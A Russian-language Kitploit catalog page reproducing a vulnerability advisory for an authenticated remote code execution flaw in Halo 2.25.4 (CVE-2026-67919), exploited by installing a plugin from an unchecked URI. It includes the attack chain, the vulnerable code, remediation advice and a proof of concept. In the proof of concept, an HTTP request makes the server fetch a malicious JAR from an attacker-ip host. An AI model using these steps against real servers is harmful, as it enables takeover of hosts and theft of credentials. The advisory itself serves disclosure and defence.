Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
halo-2.25.4-CVE-2026-67919 — Демонстрирует аутентифицированную уязвимость удалённого выполнения кода в Halo 2.25.4 через непроверенную установку URI плагина, включая технический анализ и эксплойт с доказательством концепции. | Kitploit
Инструменты/GitHubGitHub/unpredictable21/halo-2.25.4-cve-2026-67919
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubunpredictable21/halo-2.25.4-cve-2026-67919

halo-2.25.4-CVE-2026-67919

Демонстрирует аутентифицированную уязвимость удалённого выполнения кода в Halo 2.25.4 через непроверенную установку URI плагина, включая технический анализ и эксплойт с доказательством концепции.

Репозиторий
17 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Аутентифицированное удалённое выполнение кода (RCE) через непроверенную установку плагина по URI в Halo 2.25.4

1. Сводка по уязвимости

Критическая уязвимость безопасности обнаружена в версии Halo 2.25.4. Приложение предоставляет административную конечную точку для установки или обновления плагинов из удалённого URI. Однако система не проверяет исходный домен URI и не имеет защиты от Server-Side Request Forgery (SSRF) на этом конкретном компоненте. Аутентифицированный злоумышленник с правами управления плагинами может указать ссылку на вредоносный JAR-файл плагина. Сервер загрузит, временно сохранит и динамически загрузит JAR-файл в контекст JVM с помощью фреймворка PF4J и Spring DefaultPluginApplicationContextFactory. Это позволяет выполнять недоверенные классы расширений, что приводит к произвольному удалённому выполнению кода (RCE) на базовой операционной системе хоста.

2. Детали уязвимости

  • Тип уязвимости: Внедрение кода / Удалённое выполнение кода (RCE)
  • ID CWE: CWE-94: Некорректный контроль генерации кода ('Внедрение кода') / CWE-434: Неограниченная загрузка файла опасного типа
  • Серьёзность: 🔴 Критическая
  • 9.8 ()
Оценочный балл CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
  • Затронутая версия: Halo 2.25.4 (и, возможно, более ранние версии, поддерживающие установку плагинов по URI)
  • ID CVE: CVE-2026-67919
  • 3. Затронутые компоненты

    Пожалуйста, разделите запятыми при отправке в форму CVE:

    Plaintext

    root@kitploit:~
    PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
    

    4. Вектор атаки

    Аутентифицированный администратор может отправить специально сформированный HTTP POST-запрос, содержащий URL вредоносного удалённого JAR-файла плагина, на конечную точку /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.

    5. Технический анализ и цепочка атаки

    Удалённое выполнение кода происходит через следующую последовательность операций:

    1. Приём конечной точкой: Метод PluginEndpoint.installFromUri() обрабатывает входящее тело запроса (InstallFromUriRequest) и извлекает строку uri, предоставленную пользователем. Фильтрация по белому списку доменов не применяется.
    2. Незащищённое получение файла: Извлечённый URI передаётся в DefaultReactiveUrlDataBufferFetcher.fetch(uri). В отличие от других внутренних сетевых компонентов Halo, этот загрузчик не вызывает HttpSecurityUtils.secureHttpClient(), пропуская ограничения на внутренние частные сети/loopback IP-адреса (защита SSRF).
    3. Локальное сохранение файла: Потоковое содержимое, загруженное с удалённого URI, записывается в локальный временный каталог на сервере через writeToTempFile(content).
    4. Динамическая загрузка классов: Приложение передаёт временный путь в pluginService.install(path), который использует PF4J JarPluginLoader для распаковки и загрузки JAR-файла.
    5. Регистрация и выполнение Spring Bean: После завершения загрузки контекста PF4J, Spring DefaultPluginApplicationContextFactory автоматически анализирует метаданные внутри plugin.yaml плагина и регистрирует все объявленные классы расширений в контексте приложения как активные Spring Beans.
    6. Триггер выполнения кода: Любой вредоносный код, размещённый в статических блоках инициализации (static {}) класса расширения или в методах, аннотированных @PostConstruct, будет немедленно выполнен при создании экземпляра через Runtime.getRuntime().exec().

    Уязвимый фрагмент исходного кода (PluginEndpoint.java, строки 422-428):

    Java

    root@kitploit:~
    var content = request.bodyToMono(InstallFromUriRequest.class)
        .map(InstallFromUriRequest::uri)
        .flatMapMany(reactiveUrlDataBufferFetcher::fetch);  // Непроверенная сетевая загрузка
    return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
    

    6. Доказательство концепции (PoC)

    Шаг 1: Размещение вредоносного артефакта

    Злоумышленник компилирует стандартный JAR-файл плагина PF4J/Halo (poc-plugin.jar), содержащий класс расширения с механизмом выполнения полезной нагрузки внутри хука жизненного цикла @PostConstruct или статического блока. Злоумышленник размещает его на внешнем слушателе:

    Bash

    root@kitploit:~
    python3 -m http.server 9999
    

    Шаг 2: Активация уязвимости

    Аутентифицированный административный пользователь отправляет следующий HTTP-запрос на целевой сервер Halo:

    HTTP

    root@kitploit:~
    POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
    Host: <target-ip>:8090
    Authorization: Bearer <ADMIN_TOKEN_HERE>
    Content-Type: application/json
    
    {
      "uri": "http://<attacker-ip>:9999/poc-plugin.jar"
    }
    

    Шаг 3: Ожидаемый результат

    Сервер обрабатывает установку, загружает артефакт с сервера злоумышленника, регистрирует расширение и выполняет скомпилированную системную команду, компрометируя целевой хост.

    image
    image

    7. Воздействие

    • Компрометация системы: Полный доступ к инфраструктуре хостинга или Docker-контейнеру с привилегиями процесса приложения.
    • Кража данных: Прямой доступ к серверным базам данных, конфиденциальным учётным данным приложения, ключам конфигурации (application.yaml) и хранящимся файлам.
    • Горизонтальное перемещение: Сервер может быть использован для атаки на внутренние сети сайта, поскольку механизм загрузки может обращаться к loopback или внутренним конечным точкам инфраструктуры, обходя стандартные правила исходящего трафика.

    8. Рекомендации по устранению

    1. Внедрение абсолютных белых списков доменов: Внедрите строгие правила проверки входящего аргумента uri. Ограничьте схемы удалённой установки проверенными, доверенными официальными маркетплейсами экосистемы (например, https://awesome.halo.run).
    2. Интеграция безопасных загрузчиков: Рефакторинг DefaultReactiveUrlDataBufferFetcher для использования существующей утилиты HttpSecurityUtils.secureHttpClient() с целью отклонения запросов, указывающих на loopback (127.0.0.1), link-local (169.254.169.254) или частные сети класса (10.0.0.0/8, 192.168.0.0/16).
    3. Криптографическая проверка плагинов: Внедрите стандарт проверки цифровой подписи для внешних JAR-модулей. Контекст JarPluginLoader должен проверять хэши файлов или криптографические подписи с использованием открытых ключей, предоставленных официальным репозиторием, перед передачей их в DefaultPluginApplicationContextFactory для создания контекста.
    Скачать инструмент